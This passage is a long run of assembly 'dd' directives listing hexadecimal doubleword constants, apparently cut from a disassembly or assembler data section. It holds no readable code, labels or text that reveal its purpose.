9910F300h, 0C54E7C56h, 0D4540026h, 0CE6CE9F5h, 0C009C5Fh dd 22CF341Dh, 8FD7EEh, 1F4CEDBFh, 0F0D211DFh, 0A9EB2C00h dd 6AA86420h, 179700C5h, 9A9F424Ch, 0A17ECE8Fh, 5A0AFF2Ch dd 4440E03Dh, 0B904B5h, 23DC3C5Ch, 454BB224h, 0D6B3E04h dd 514FB37h, 9F957C03h, 70C040A7h, 8F03FF8Ah, 7E33C134h dd 3656A81Eh, 0A3570FF6h, 24272C07h, 0DB22E0D4h, 0DC03A723h dd 5DB37C19h, 0C1C7B7D6h, 7388A250h, 27A301B7h, 0C653CB3Fh dd 54B6C059h, 356DB900h, 30EB2FF0h, 5AA00E2h, 3DD9C0F9h dd 963F23BFh, 31E480ADh, 68400483h, 0ECC20C4Ch, 1E1074A1h dd 11A24707h, 405F9931h, 2B8DE9D8h, 397161h, 82E1CEAh dd 3C63A6E4h, 0BD904F66h, 0DB430718h, 8C153DBEh, 613B8BE0h dd 975D8BE6h, 0D9610096h, 8F13ADh, 0C76D011Fh, 0E2F9EDC4h dd 2CF33Ah, 6A9E70C6h, 1267654h, 0EC0EE63Fh, 0F5733766h dd 0B00620DEh, 0AB390103h, 804F99BDh, 344C50Bh, 41AE9E40h dd 5B9997DBh, 2C593030h, 93AAB00h, 11426975h, 51E806B2h dd 40A79C39h, 3E5E2C00h, 0F0A0200Fh, 5DFC95h, 0AB133334h dd 0E0B2640Ah, 2D62191Eh, 0F57CC200h, 0C69F90C0h, 182E9C58h dd 9527BD16h, 0A6C67300h, 30D5865h, 7F4D6242h, 89C87D59h dd 810256B0h, 0F7A39A95h, 3D26368h, 65A7C581h, 7F02AF0h dd 4F7EA811h, 345EFC00h, 82644CDAh, 0D24A3B56h, 0A38E390Ch dd 95035218h, 2E38C1D7h, 0A0E961E2h, 4089BB9Ah, 0A6F43BC4h dd 30FEA205h, 54C03213h, 5FF06676h, 3EB78084h, 100015F1h dd 729C130Fh, 64A52ECh, 0F22DF75Eh, 85002142h, 0C0817D33h dd 2CD056h, 0E44C58ACh, 0F4DF8D77h, 7B5AB900h, 0E65C2F61h dd 6BF03956h, 927CDD00h, 0E7766970h, 0CA5F0AE6h, 4D0C7FF8h dd 0D5108398h, 97A8EF1Ch, 0CF5DEEC2h, 2F16E08Bh, 0CB410366h dd 0BD4BE2C3h, 2100A1A3h, 59278B44h, 3062DF91h, 5019F375h dd 79D357DEh, 0CB28F600h, 6C17CA09h, 0AD681816h, 2768028Ch dd 0BD496626h, 80F07E18h, 2A071EABh, 6E79AC44h, 0EB65F790h dd 2098EC07h, 0BE00CF68h, 0DF5A15FCh, 0BB250Fh, 7AC953EDh dd 66EFB7CEh, 0A81F5800h, 0A159E7CAh, 395C600Fh, 8B5FD15Dh dd 11C36C30h, 0B08EBC6Fh, 0F0C979BBh, 0F8317F42h, 0B421CE3Dh dd 0AD938E20h, 0DE3051E5h, 66CA19D0h, 6BEFE0Ah, 8D17A1E6h dd 60C8688Fh, 8EBEC075h, 0B94649EFh, 86003822h, 0BCA78ED5h dd 14564660h, 0D059797Eh, 6350378h, 0FF5CBE6Dh, 619692C0h dd 0BABDC9C0h, 6E17110h, 0DE8A8F76h, 0B260088Eh, 0C432AA21h dd 90AE609Ah, 5095379Fh, 0BC5C1D03h, 904EA31Eh, 0FC69C955h dd 7C670073h, 0C7FA24E1h, 0DA127E17h, 110002E5h, 0B6B1812Bh dd 84F40263h, 281B09B5h, 32964CC0h, 0C95D5800h, 0FAE5FF3h dd 6BE07F5h, 108B0BC7h, 0BDB198E5h, 0B2923D00h, 40179C4Ah dd 21F8007Ch dd 0AF53DCE7h, 0A33C13D2h, 8E220018h, 0B00B8BD6h, 1E3181Dh dd 54BE0868h, 863D20C0h, 71D4D6h, 48F0EB7Ah, 0BAB3BDAAh dd 8040B2C6h, 0D2FB0149h, 0AA43ADF8h, 7049CDD5h, 0E2523FCDh dd 0A386B138h, 0CA1C970Ch, 5780B93Fh, 7B0E6EEAh, 0C1C1E647h dd 10E75E80h, 82D0817Fh, 0C580B8A3h, 0BA798D7h, 74A5F29Bh dd 0EB843039h, 56FD1220h, 0E1317477h, 3A346887h, 3998B570h dd 0AF80F215h, 47DA6307h, 0B13F3CD8h, 0E0C3860Ah, 0A030889Bh dd 967ED1h, 0BF50DF95h, 58308005h, 8E4D9300h, 0F1CF3E21h dd 8B890974h, 0B480D5D0h, 8464811Ch, 0ED03DD00h, 383CFCF0h dd 345FE62h, 0B3636D17h, 61F8BAB9h, 0BE0F1D94h, 8EF9A873h dd 300AE057h, 5E9D50h, 0A4266B0Dh, 0F63CC26Dh, 799A6300h dd 2DD52FF5h, 2D801F8h, 8B065425h, 6A7670D7h, 0B1BCDF03h dd 0A1BD39DDh, 208F2496h, 27E03B26h, 0CC31EB0Dh, 0A7978C09h dd 2BE00079h, 0B0192AFFh, 6B3339Eh, 0A7D18C78h, 0FA104151h dd 9078B67Dh, 0BA80C450h, 143D3095h, 2F6A1062h, 81A3C8BDh dd 3016D944h, 0AFE6D086h, 9D0073ECh, 0F49AEA14h, 305B6008h dd 0E9703E9Eh, 1DFCD279h, 0DBFBF0F5h, 91195260h, 1C80B0Eh dd 5507D5C6h, 0ECE01495h, 603D79EFh, 0AADA806Bh, 0EB8F7F35h dd 325600BEh, 0C77CB4EDh, 6D00349Ah, 0B312FDF7h, 2D67A2h dd 31464563h, 0AA8DE39h, 121C1A0h, 47EBF20Eh, 0D75CD806h dd 0D5C800B1h, 572B3E10h, 380079C0h, 7ED1281Eh, 191D49h dd 0C6767201h, 4B69B6B8h, 3EE16C01h, 0CE2E80B3h, 50483080h dd 0C25C0765h, 0C3E0CC00h, 149FC927h, 611C00ADh, 4214564h dd 10162F2Bh, 0B1017146h, 94F85638h, 864870B0h, 96E2D070h dd 0C8B33300h, 69ACBFFEh, 2DAD0394h, 79B70F18h, 3EE0D980h dd 0BA00B574h, 0BF5D7E20h, 60803B2Ah, 0AFFE913Dh, 0C6397A81h dd 0A1FF8749h, 33108944h, 703A2EBh, 593A80C5h, 0CD5D3195h dd 0A1388049h, 0B08AA483h, 5298CCh, 5C33E3F5h, 0A014C8BFh dd 1F3CFA3Ch, 6E009210h, 0D8C4E7A7h, 0ADB1F0Eh, 8D3780D5h dd 0D7D3B3F6h, 0B263F878h, 153359h, 0FF427E99h, 0A4CA1A34h dd 0AC60C300h, 0CD509E6h, 0B80A00EFh, 3F5E917Fh, 0BF604351h dd 9E42AAE8h, 0E28F0EDFh, 0E5E1BEC4h, 0F4C8390Ah, 51005A1Eh dd 82B2BB0Bh, 3CFFC42Dh, 0CF1F17FBh, 1A04686h, 0E200B8C0h dd 20454A1Fh, 72E76A5h, 0A1AD4CBDh, 1E4973DAh, 0C40ABEB9h dd 0C7F268E5h, 8B3E216h, 9FFD9B00h, 774DBA85h, 0ACBD009Ah dd 245C7B18h, 460E6FD9h, 866C71CCh, 209FA1h, 0F47B0F0Dh dd 0C0282F4Ch, 0FE3E9600h, 46220343h, 67173ABDh, 0FC705B86h dd 0FE588944h, 0C043074Ah, 0E480474Dh, 7187B24h, 0B3A80199h dd 42080C35h, 228431C1h, 7FC4967Bh, 0CF9B001Fh, 0A0805FAh dd 0FC01A860h, 0A3FEBC18h, 784831E9h, 1B3C1FC5h, 0DEEFC09Eh dd 4984C4ACh, 0EA53B106h, 0D8A83173h, 507B10F0h, 0D2442903h dd 0F8B778DDh, 0E8A0CBh, 51CDB2A9h, 4EDA439h, 0DDC76D00h dd 603B4034h, 0A3701B45h, 0BCA04837h, 0C2FCD50Eh, 1404D43Dh dd 0E4359Bh, 545B1199h, 34C2326h, 0CF2BDC3Ch, 3BA84770h dd 4000AB0Eh, 0E5E23A79h, 6F8B82h, 0F9A5BBF2h, 0FB87C858h dd 1000C8B8h, 0AF710DDFh, 496260h, 262C3E1Fh, 0D86C0BE1h dd 702E8E8h, 742B8F25h, 775BC0B7h, 129E8F0h, 6CBB4345h dd 0C07DAE03h, 818B9C5h, 74449F65h, 2F85025Ch, 5462249Eh dd 0CBDFAB60h, 5E00BBF0h, 0C002D6DAh, 28FE0Fh, 4354ED42h dd 5CD9D4F5h, 0A3831400h, 40BAFCCCh, 0BECA01E2h, 68207444h dd 5E4FF026h, 2FE5C700h, 0D5EA94FEh, 0F9A20056h, 0B17E604Eh dd 1430A635h, 3C0919CFh, 0F14A0C91h, 0FC88EE6Fh, 0AB00D8F8h dd 98461147h, 96CB9h, 0B49FE2E8h, 0FB1A8353h, 648AF424h dd 0BF2DBB00h, 3B244B44h, 3880AFBAh, 8F93AA0Bh, 4A0E9EB5h dd 20C16F50h, 518256F0h, 69DB606Dh, 6B180EEEh, 7F5380A0h dd 2036CE03h, 152B33h, 82085520h, 6E6DAA6Bh, 0C4D55800h dd 7F91A377h, 0FA7475C9h, 54FC0043h, 0F8B7508Fh, 381D440Ah dd 3480F42Bh, 0BD580386h, 0FA9800A1h, 0DF737471h, 50128ACDh dd 6D00442Fh, 0E8ED23D2h, 75100088h, 0C5161B8Dh, 0DD00A2F0h dd 591E8C15h, 5E6AE7h, 0D8F26D02h, 0B7D2C4CDh, 0AC67AE00h dd 28CC890Ah, 0C53F0154h, 1145BE6Ch, 0D648C466h, 5ED29800h dd 0AE175FE3h, 18A1B075h, 19C7E62Ah, 83183E27h, 8A306A87h dd 61F83E08h, 1D0F9701h, 0F0E81A91h, 0B8C03E95h, 438B3403h dd 0BA30CC3Ah, 1F3CC710h, 1A6400F9h, 0D0687367h, 0AF30C08Ah dd 5FAE58E7h, 0AB76F916h, 48A619EEh, 0B3CAE82Fh, 5831F1Fh dd 36061480h, 0F4D3DA5Bh, 7C80FE68h, 0F31B03D0h, 826289FAh dd 270287Bh, 8AF095F8h, 96A7E500h, 0B64F0669h, 172DEAB3h dd 0C8BFF64h, 0BF288A94h, 89865300h, 9A5DFEBEh, 72D400B7h dd 627C6011h, 870F73E8h, 1668537h, 27AE64CBh, 77DD618Ch dd 0EB030508h, 0A8453FD8h, 9862E011h, 0DDDA1872h, 8F4321AAh dd 20634900h, 1ACAEAF0h, 6EF307A4h, 0B092E31Eh, 0AABCB927h dd 10F5E11Dh, 0FE2A9CC9h, 82A4009Ch, 713FF367h, 7F8D1F00h dd 0AE066831h, 0E0A70196h, 70DEE7B6h, 168BD91h, 3FFF6F22h dd 32CC7C0Eh, 15F00F7h, 2BB4D392h, 1E074F87h, 5A98CCDCh dd 1630A170h, 912F0019h, 3E638AE8h, 0BB000713h, 0B9863798h dd 0C89B1F5h, 202B80AFh, 5560DCF9h, 780BDD71h, 8DEB004Dh dd 7A8B4A1h, 110076BEh, 0A650EEB2h, 0F3046EB0h, 2C2F8060h dd 19EAB5Ch, 0D9FB7331h, 7965200Ch, 68F68405h, 42C7AF88h dd 0B33562C1h, 1E70D8h, 0E8E47F77h, 6B3DF529h, 0F0F6B200h dd 61F7E3B4h, 0F42F00D7h, 0F54BFA63h, 137B7738h, 99C9C600h dd 0A6680F71h, 5C1F00D7h, 5AC16EA5h, 0B700F4AEh, 0C4F3B59Fh dd 0EDCA4Eh, 9D4883Ch, 34125939h, 2FC04200h, 6A604F26h dd 3A5D0031h, 8E5388CCh, 3E17247Eh, 0F50017D8h, 6567334Eh dd 0F0890018h, 0DAAF45B6h, 0B80186BBh, 644EF401h, 0BACC9ECCh dd 57B94CBCh, 0E2A85800h, 1B7CFDB1h, 1FD44C1Fh, 0EBDECB44h dd 8ED7D80h, 521A0CBEh, 65B05E5Fh, 1CB3B3Ah, 6FB03938h dd 18805C24h, 0EBBC3E85h, 0CA78AA11h, 0A502D30Ah, 270184FAh dd 0EF6490Fh, 0C304FCE8h, 5BF25E41h, 0D09DA5E8h, 3D3378C0h dd 218BBAh, 9E71CEBCh, 0EE8DBD6Eh, 1E38473Dh, 0FAC0A51Ch dd 4A85EF61h, 0C8C730CBh, 0A0A76680h, 5ED824ABh, 89022179h dd 0EC8FB6A4h, 9063E067h, 4CC8A1C9h, 6EB900D3h, 0BEB89698h dd 93009FE6h, 0D5929B0Ah, 3A86D1Fh, 0D93AD06Fh, 0AEC0F339h dd 0FD301083h, 0CF79C065h, 0CA478C0h, 0A7B2B7ADh, 0A8F8B9E0h dd 55BA8B01h, 3E4F67C1h, 211807C3h, 9063B84Ah, 18E2B6FFh dd 890F40h, 9F5D3822h, 0C152D8A1h, 0EA8D5B07h, 1E27574Eh dd 93460A10h, 74CB2EBEh, 0CD2F03A1h, 37980BB7h, 7200A269h dd 0E139A5C2h, 603211DEh, 0B419A1D3h, 13756DBAh, 0AE7377FEh dd 0F19DE300h, 28DA9C0Fh, 58B60170h, 0E6193256h, 7738809Bh dd 9D553BD2h, 0FA7AF5h, 0BF58362Ch, 26B675DCh, 56F76A1Fh dd 0DE1387C2h, 83A88FCDh, 80C5FF1Ch, 19A576Dh, 0D9A27539h dd 0CCD6A003h, 8A070AE3h, 0E5E8D766h, 80CDD062h, 0F69301C0h dd 64393EB5h, 48DD2B83h, 0C3E830D8h, 57036AB7h, 0FFC41D33h dd 3010CE9Bh, 9A09C149h dd 10C054D1h, 0DF5DDDF4h, 88DA3B48h, 0EAF25881h, 0EC9E9F50h dd 960769C6h, 4226EEEh, 0B9A7D950h, 799100F7h, 0AA934B6Fh dd 8C2683B5h, 210799B0h, 0ADF36B39h, 2353F0BBh, 0E4717C4Ah dd 11C50FB1h, 0B98356A4h, 0CD9891A5h, 0F100DB0Eh, 543CEAF8h dd 0A6601Fh, 16EBB7A1h, 5E9118DCh, 5B00CAEAh, 74C65F09h dd 3879FDh, 621DB589h, 4A8EDD30h, 0BD0032F6h, 378A05C8h dd 0EC1A3D9Fh, 11ED005Ch, 1CECFA52h, 18009150h, 42F7CD32h dd 10D062h, 2FB6F48Eh, 3A7E02CAh, 4FD92200h, 3DE4951Fh dd 65640019h, 0C2BF185Eh, 3E00FFFBh, 39D11D8Fh, 186E2EBh dd 85032116h, 0E8FBC4BAh, 8000F696h, 0C2DF2FEAh, 62AF60h dd 0BEB6ED07h, 3292EE41h, 150F52E2h, 7D5EBA48h, 392F5F40h dd 28674D56h, 3AD070A2h, 9CD02EDFh, 117500DEh, 66239F2Ch dd 324884A6h, 16F70A25h, 5280EC3Dh, 3E6C7807h, 0F8C700ABh dd 7951212Ch, 98007587h, 66EE3CC2h, 0B0FA49h, 0C72E4AD8h dd 7B356D11h, 7F9CF500h, 0E40E7A7Dh, 0C2381F23h, 0ECC5C36Eh dd 0A3B308EFh, 57002070h, 0C8127188h, 0BAE5EAh, 440D9E73h dd 24FF06CFh, 193F59FAh, 0BFB80F87h, 0E24BE038h, 1180C4Ah dd 0CB423554h, 0E0DD8DA1h, 3700D9C3h, 9373D8B6h, 48CE0DB8h dd 2E3D0CA2h, 0E8A71B80h, 0C58C84FCh, 0E91880E5h, 916F6D2h dd 0B0B507B3h, 610F5398h, 305469E4h, 4EE4251Fh, 968DBE1Dh dd 0BD193000h, 481F096Ch, 0DA007C46h, 0AE12D12h, 7000D10Fh dd 60CBC69Eh, 94731B4h, 2E7CBCFDh, 14F15A80h, 4A007601h dd 0E334C1B9h, 33F635h, 51BA537h, 0BDEE9FB2h, 59CDEA00h dd 158BCC0Fh, 1F1B85Dh, 61090EC4h, 0C0B0CE85h, 1600E4A5h dd 2E0DFFE9h, 391B758h, 3F8B7D4Dh, 41E86C75h, 0A10337F9h dd 0BE13052Fh, 5D2AA074h, 79E05F3h, 4FA983F7h, 54012DF4h dd 0CC1DBA5Ah, 6300AC84h, 3129BC4Bh, 0B8C7A4h, 966BAA10h dd 79DBC62Bh, 88FB3314h, 0EFBB00A0h, 0A2E02C4h, 0ED8D00E8h dd 30A4A035h, 960092D4h, 0EA88493Ch, 0E8063h, 746E2EF3h dd 14D6EE4Bh, 1C0F4090h, 0C0B6CC82h, 0CD94C2A9h, 43DE00D9h dd 4C5EFDA6h, 0DD48C93Fh, 914E798Eh, 140006E8h, 27A4E995h dd 66094C43h, 0A0561FBFh, 0E706B944h, 0A4813C05h, 106BED8Ch dd 0CE005768h, 0A57DE1CBh, 5B58DEh, 0D8BF35D6h, 0D3EBE25Ah dd 22006A76h, 38E3A237h, 96151Ah, 7284938Fh, 0C3C47C83h dd 5461FB00h, 7DDA2ADBh, 0F51A0EFCh, 0C040EE27h, 6277A1CEh dd 0DE806900h, 9123EF89h, 20AD00B8h, 0C3FCFEE0h, 0A3FA05BFh dd 0BB03D4F8h, 0D74CCF04h, 0DE4989EAh, 0B04CB06Ah, 89C01900h dd 62370FD8h, 0BF5000D1h, 0FD5A11CCh, 9009B39h, 0EBCD7826h dd 2C07F53Ah, 1254D6B2h, 16D30FB0h, 7A17E3E0h, 0C201C64Fh dd 0B56D48ABh, 8AF44B9Ah, 6A3D0038h, 51EE5ACCh, 0A5008D41h dd 0D6F65972h, 5D68F3h, 0A62E577Ah, 0BA3B9694h, 0A37B1A0Fh dd 91B60DCh, 3C5333E0h, 0C800DDD8h, 2E9C5B3Bh, 0EA00A8D3h dd 8AED6369h, 8021FDh, 8988DD52h, 0F6DAC3CDh, 3414A3B0h dd 0A84F886h, 0DBA84A7Bh, 96AF4201h, 18B01153h, 13F32264h dd 0FAD87701h, 0A5F945CCh, 0E58B8087h, 0AA28EC87h, 0EBB05A07h dd 5FB163A3h, 99E4CA0Ah, 0A71000DFh, 66E3A1EDh, 0C00BE25h dd 0B3600301h, 4091837h, 0A3A7B76Dh, 0D3C1C353h, 0DC9768A1h dd 0CE00C533h, 0E4D9698Fh, 1429648h, 0A61B231Ch, 0CC7041BDh dd 0D4007702h, 0C6902D7Dh, 3D39041Dh, 0D980CF8Ch, 0EF830374h dd 0C500689Fh, 0B4BA6631h, 90F23B58h, 0A600436h, 0C0AB637Ch dd 0FB5E156Dh, 0B2AE4800h, 5176AFB1h, 614300ECh, 0CF07D6F1h dd 58721395h, 38CE7115h, 2B7000C8h, 14BEEF4Dh, 0EDE800A1h dd 7DC092ACh, 2C3924FAh, 488A07D2h, 16805627h, 51F695B5h dd 0C3D89070h, 5964003Ch, 473874C0h, 837AA7AFh, 80DF8903h dd 0C004B954h, 163E3BB2h, 0BE988B05h, 283A8F00h, 0B7215ADDh dd 5E1DC8F0h, 5C406DEFh, 62162FC4h, 1A4F4BBh, 6F802692h dd 70941487h, 0A73D0654h, 5A3A80D7h, 0B8C61EE1h, 8958A18Dh dd 4330FFE7h, 9DF11Ah, 3FF638E9h, 7F0D055Ah, 0F5E39900h dd 0C546479Eh, 80171F9Bh, 580078C1h, 33DF6252h, 43F4829h dd 5BE500BAh, 0EAB7A55h, 253A0039h, 35DDD13Bh, 2A002090h dd 0B44D719Bh, 55BB08h, 471F7E63h, 0D49976D2h, 9DA9C200h dd 0B698C526h, 1A3A60B7h, 8E0ED8A7h, 9F589602h, 6053B2E9h dd 77A6Dh, 0ACB7A03Bh, 8C98AA47h, 786D2600h, 8EA52E05h dd 0ADF4E11Eh, 416F1863h, 17B61188h, 9146E703h, 376A119h dd 0C1425C31h, 60AF1CF6h, 74979688h, 0C019500h, 8C45994h dd 602C09CCh, 40FB713h, 0F781818h, 6A317AE0h, 9B179897h dd 3016A19Bh, 67F43802h, 0E01FF843h, 323E6h, 0E05D9B75h dd 0C75B2110h, 389168CCh, 0E7300033h, 474A32F7h, 291ECE6Fh dd 3B00FFA4h, 52C20AEBh, 3E800EDBh, 0D00C115h, 0D091DEA3h dd 48681868h, 2A289FC4h, 0E0BB8C0h, 0C1C606D5h, 35109679h dd 0F8BC7Ch, 8F3BC3F9h, 0F7B7E6Dh, 665D4E2Fh, 313903A0h dd 697BC219h, 0D0871A00h, 654618DEh, 7A5E0012h, 8A86DA5Fh dd 5D00F9FBh, 0E2AEFCEEh, 0ADC906h, 3378E7E3h, 24F26CA1h dd 2978548h, 667798EAh, 693FE06Eh, 0FD500018h, 5BCD6D60h dd 0CF07DB84h, 0B69BD328h, 6D9EEA6h, 590A2B30h, 9653119Fh dd 306BA804h, 4810857Ch, 0AC058394h, 5F06C6F1h, 29B0B1C0h dd 0E3EF0033h, 0A88EC45Eh, 0FC009839h, 4C7B69FEh, 46AAA7h dd 0BF0EB3B8h, 3234A34Eh, 6B0AC000h, 7E9D8D1Bh, 0B37B07E7h dd 903E1D2Eh, 0C74FCAFDh, 0C3D5EB50h, 7B467600h, 88AC3680h dd 74F226F0h, 5FBC0088h, 9A44683Fh, 18226E00h, 0A9372ADh dd 0C5760065h, 8489FDC2h, 0F400FBA8h, 0B84F5CAAh, 0EC8F2509h dd 0E0974C48h, 0B01C6100h, 64C3C040h, 0C4F81B03h, 0D83E4BE9h dd 2011FAh, 0CA1922D1h, 49BB7D0Ah, 0F98F7C00h, 26E452E2h dd 17ED07D9h, 0D085BD30h, 0B1DDFCC8h, 689BB32Ch, 7A9CE705h dd 0D31DA400h, 7AC49A7Fh, 92B3EEEh, 25BB2900h, 69AADCD0h dd 7006275h, 0A335E655h, 9ACE8085h, 0CCC32888h, 0A7A50F84h dd 0C4809F5Ch, 55E72344h, 22FAE519h, 68808528h, 0AF5C2C04h dd 617586DBh, 0E9BD9A00h, 0B6D1BC9Eh, 4CFE039Dh, 0C995F871h dd 0B2987BABh, 0B401EC03h, 0EACC2EDDh, 0AAC83859h, 1191007Fh dd 6FFF5CA6h, 2CFA346Eh, 0FE402103h, 2E687E4h, 1F9CAA20h dd 7560F0B9h, 0A0B12ACh, 0AFB374A4h, 22DE044h, 0EA9F99Bh dd 0CB53BFE1h, 0CF6E3AA0h, 76005816h, 0F2D0EE4h, 0E051E62Fh dd 96AC07C1h, 0D116E374h, 6075A699h, 0C8032FEBh, 7E8E58DCh dd 0A2A0B09Eh, 31AB01CDh, 1214C007h, 734F6083h, 74AF771Eh dd 0CEE02EC0h, 0ED109C3h, 0EF0BF466h, 41C6D383h, 592F3B80h dd 85717B00h, 0DF40E0A5h, 67992C65h, 0EAF8007Dh, 7A19DB8Eh dd 3E005A77h, 417CB1AFh, 78F666Fh, 2503A698h, 0ED4DE0C2h dd 0A83BC976h, 8703779Ch, 5EB8A38Eh, 93DDA8B2h, 5BA00A4h dd 158423FEh, 8D00FBC0h, 0E00B33EAh, 0B8AD868Ah, 0FCEB7279h dd 0CA270007h, 0FA9F43F3h, 28C0E8ECh, 3A4A6291h, 75350439h dd 0C7B5BED2h, 7190C000h, 570766EBh, 2F290CC5h, 34C1C2C5h dd 4DF13CA5h, 0D838C040h, 8F6F0396h, 155B8EBh, 0DCBDE2C9h dd 22005146h, 250611CBh dd 7B418805h, 0D524000Bh, 5F8926AEh, 56CF9D42h, 0F20C0036h dd 0C60FB81h, 8D537649h, 450C8C30h, 4E722F06h, 87AD01A9h dd 31D85654h, 6C80DF32h, 0C4036690h, 0BC0FAF0h, 6263C87Dh dd 100848A1h, 0D4C31500h, 0CADB0969h, 0DA5C210Fh, 0F3200082h dd 26E8F70Ah, 5BAD7BBh, 809A428Dh, 5DDB44B6h, 29C40C03h dd 0E04AFFE5h, 0EECA764h, 32373F10h, 855E0DC3h, 98B66DD0h dd 0B703F101h, 6ACA65AEh, 5541CCh, 0DA09D65Ch, 8B6E7FD4h dd 0F356400h, 7D792DB9h, 0FF5E0199h, 95A5895Fh, 21A85065h dd 607D8C43h, 55E2001h, 11A03A47h, 0FC5AD8h, 7991AF7Ch dd 3F01C7C9h, 5018BD77h, 6C0E675h, 0F440009Dh, 4C387B9Bh dd 0DF0F0522h, 2063F683h, 4E411D85h, 0E67EE1h, 0A66C8184h dd 0D0B5ADB7h, 313D8000h, 6837173Fh, 49BE000Ch, 4494426Eh dd 0F6F8A1ABh, 43C4BD00h, 0BAC7C0A3h, 6741E55h, 0D05CB2h dd 8C924FEFh, 404C3D2Eh, 10CE00B1h, 0E59D7FBAh, 644D0075h dd 0F4D165A3h, 0EB008578h, 333BF889h, 5C0EF727h, 0CD0142E6h dd 371D031h, 0B7FBD099h, 419A1100h, 447C28AFh, 0DEE700F3h dd 55C427C8h, 951EB842h, 2D402E9Ch, 5338C387h, 0F5DF694h dd 869F6D9Bh, 3109AA41h, 0E315FC82h, 0AF1C4700h, 44AD2D25h dd 7ECB00DDh, 4D611BD4h, 8B0031E0h, 0F42A2F83h, 0B990F8h dd 84479281h, 2D3EB7DAh, 4E02CEE4h, 97C60743h, 9884A0C5h dd 1D412BE4h, 808F035Dh, 76AC715Ah, 0D8E8E225h, 14008772h dd 0D9DA0C74h, 5445ECA5h, 904BF83Eh, 0B4FA006Dh, 0B6B510EBh dd 0D09AC5Eh, 203E4D86h, 0D4BCBB7Ch, 0EC1C3BADh, 370B4400h dd 2D246D5Dh, 119F150Fh, 0BC8561EFh, 40C240D5h, 5DCC84h dd 0CDA676ECh, 465429FDh, 4B028890h, 0C1A324FCh, 391C48B0h dd 47F600D7h, 2B4E1304h, 80FD0D40h, 0B1AD588h, 0D4B27Bh dd 7A3E61CBh, 0E9D6758Eh, 417D8F00h, 18C84DACh, 0CAF67Ch dd 2059933h, 0C08FB915h, 0E2BA8B00h, 2F185154h, 957F58A8h dd 4B6AA400h, 56996462h, 279B8F14h, 5F05C048h, 1D5C3DF0h dd 5CDDE566h, 0B4DE0219h, 8077FBC6h, 805E0A74h, 742A000Bh dd 0BD76D368h, 0FF03DCA5h, 7CC8692Fh, 6023BB61h, 542839C0h dd 0BD006C1Ah, 0B2E159FDh, 4E7863h, 47CC5198h, 906DE2F4h dd 8DB6F500h, 9F723F8Ah, 299A00B2h, 395EEB59h, 717F4502h dd 0AADBFF0Eh, 3B94625Dh, 777C6067h, 6B650288h, 48DC8A0Fh dd 0CED050C8h, 9AE681C0h, 0E59DE17Bh, 0AD99E880h, 81CAC823h dd 92E5BB00h, 0E8C28E9Eh, 0D51100EDh, 0BE360A32h, 8B16B338h dd 0D600266Fh, 5BD9C63h, 7470000Dh, 4793C7EFh, 2A001085h dd 1169EECBh, 0BEEC73h, 3D7D5FE3h, 350CD380h, 3BF6C118h dd 75DE7C38h, 6F2A00FAh, 0CABE3C9Bh, 2C9853A6h, 9805A400h dd 99D9441Eh, 2B6001Fh, 0EF677EE2h, 2D3E2E8Dh, 61AC00C4h dd 0E8962C4Fh, 0BB5C016Fh, 0E852A35h, 0B5D4501Dh, 2700D601h dd 0B95C9B1Bh, 9787AEh, 24BF17Dh, 61489911h, 3FC66F1Dh dd 0AC124CA4h, 7BB56803h, 0ECF098DDh, 1F1FEEEAh, 80250F3Eh dd 31E301BCh, 42007AEEh, 1745B0DCh, 51DAFB32h, 205084FDh dd 3B34D8Bh, 8920DDF0h, 24F05A2Dh, 354817E5h, 7FDCB07Ch dd 494D0320h, 5072246Ah, 21F5ADE3h, 60BA5FE0h, 7E00AE20h dd 0E15AA342h, 0EB9F880h, 0EE3D9C5Eh, 20BA9D27h, 67A92488h dd 89212D1Eh, 25C5B741h, 0C820CFC7h, 81E0BDD3h, 9200FE0Ch dd 0C8443136h, 375FA07h, 77B67447h, 7EE04A21h, 0F600403Ah dd 54C7BA34h, 1EEBC67h, 444E22ACh, 0E1490516h, 3466202Fh dd 0D4E75698h, 0E30050CDh, 94010420h, 0B3A8CCh, 60F7CAC9h dd 0EFA9BA5h, 0A1969700h, 725EB273h, 6570BDAEh, 0BC21C907h dd 4F604A3Fh, 6DDF2Bh, 14FAAC87h, 74C9C73Ah, 84D1640Fh dd 859B2B58h, 64825ADAh, 0F144C045h, 7C37015Ch, 0F7ADEF0Ah dd 5B34F406h, 0E63E8EC7h, 6819C5B1h, 27808C47h, 0C4EB2h dd 0F99A997Ch, 2CD497A0h, 0D151D301h, 38252D02h, 282F80D0h dd 0A0175Ah, 0B71DB9CEh, 4AEEAA1h, 23FE409h, 6EA4208Ah dd 0A028095Ah, 5772F0h, 0F4311ABh, 97BCF0D8h, 16E09C00h dd 5EB3A2C3h, 481A5C28h, 5AE895A3h, 0B61D3057h, 11169834h dd 0B48DC804h, 1F6C93h, 60C1A988h, 17EE5324h, 6E003092h dd 0CC6478D1h, 30A3EDD2h, 5318D68Bh, 1005581Fh, 450D12C4h dd 0E44DE840h, 1D4CC772h, 81A9600Ah, 0ED9C225Ch, 8AE6C82Fh dd 5720AA00h, 0A8D2B928h, 0EE3003B4h, 0FC10B204h, 7E654A88h dd 333CF500h, 5A232E59h, 5E58005Bh, 1C44B6BFh, 4900D32Fh dd 597F3BA1h, 3B5C1417h, 76288B2Dh, 703200C9h, 1B22F76Ah dd 9F03BFD2h, 0F63C8114h, 1280EF59h, 2C61F14Eh, 96FA543h dd 801097CDh, 1000739Dh, 0B1D1324Ah, 0C86AAAh, 0BCA7EE34h dd 86717202h, 0EB3F8E73h, 0B98B8018h, 0B2AE1990h, 0EAE524C0h dd 1FBAE314h, 8B400B5h, 0A0861424h, 82B6A817h, 0CAE2CE0Fh dd 0EA81C0DCh, 0D1253864h, 7D87F841h, 7B4B8EFCh, 0E46F5053h dd 735800DBh, 3EAD61A0h, 7013C1C0h, 1C16EFA5h, 2AE4DC02h dd 0CFFCC05Dh, 4868015Fh, 0CDD75C2Ch, 24142866h, 0B66AF472h dd 1C328038h, 517D2C0Ah, 0E066038Ch, 44843B9Ch, 0BB3C07C5h dd 902525A9h, 0B78A978Ch, 0A471663Bh, 0FCA4E0F8h, 5FADCF80h dd 2E5D218Dh, 5CBB69h, 12CEDB71h, 0C9008FF3h, 884DB922h dd 1EB5B694h, 1240D353h, 0E023053Ch, 7210D0FCh, 0CC88700Ah dd 6374F5h, 0A2F3DA04h, 1CDD835Ah, 0EA7D600h, 74B08B4Fh dd 0B5C4CAEh, 0B78F5F03h, 42A83572h, 5278C924h, 2EEFB601h dd 0DC602154h, 1F3D23E0h, 0BEDBDh, 0FBE438F8h, 9002688h dd 0E3869117h, 1297397h, 0FE68439h, 0D4DA79ABh, 0B3000CB7h 